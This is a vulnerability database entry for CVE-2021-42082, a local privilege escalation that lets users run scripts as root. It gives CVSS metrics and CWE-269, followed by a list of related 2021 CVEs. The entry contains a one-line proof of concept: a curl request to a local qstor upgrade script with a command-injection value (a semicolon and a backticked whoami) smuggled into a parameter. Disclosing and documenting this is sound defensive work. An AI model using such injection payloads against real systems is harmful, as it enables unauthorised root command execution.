CVE-2021-42082

HighCVSS 7.8/10Last modified Jun 17, 2026

Description

Local users are able to execute scripts under root privileges.

POC

On the local host run the following command:

curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'

Metrics

CVSS 3.1 7.8/10CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Weakness enumeration

CWE-269

Affected software

No affected versions have been published.

Timeline

Published
Jul 10, 2023
Last modified
Jun 17, 2026
NVD status
Modified

Related CVEs from 2021

CVE-2021-420835.4An authenticated attacker is able to create alerts that trigger a stored XSS attack. POC * go to the alert manager * open the ITSCVE-2021-420846.5An issue was discovered in Zammad before 4.1.1. An attacker with valid agent credentials may send a series of crafted requests that cause anCVE-2021-420855.4An issue was discovered in Zammad before 4.1.1. There is stored XSS via a custom Avatar.CVE-2021-420868.8An issue was discovered in Zammad before 4.1.1. An Agent account can modify account data, and gain admin access, via a crafted request.CVE-2021-420874.9An issue was discovered in Zammad before 4.1.1. An admin can discover the application secret via the API.CVE-2021-420886.1An issue was discovered in Zammad before 4.1.1. The Chat functionality allows XSS because clipboard data is mishandled.CVE-2021-420897.5An issue was discovered in Zammad before 4.1.1. The REST API discloses sensitive information.CVE-2021-42096.5A NULL pointer dereference flaw was found in GnuTLS. As Nettle's hash update functions internally call memcpy, providing zero-length input mCVE-2021-420909.8An issue was discovered in Zammad before 4.1.1. The Form functionality allows remote code execution because deserialization is mishandled.CVE-2021-420919.1An issue was discovered in Zammad before 4.1.1. SSRF can occur via GitHub or GitLab integration.CVE-2021-420925.4An issue was discovered in Zammad before 4.1.1. Stored XSS may occur via an Article during addition of an attachment to a Ticket.CVE-2021-420937.2An issue was discovered in Zammad before 4.1.1. An admin can execute code on the server via a crafted request that manipulates triggers.
CVE-2021-42082: High severity, CVSS 7.8 | Vulnix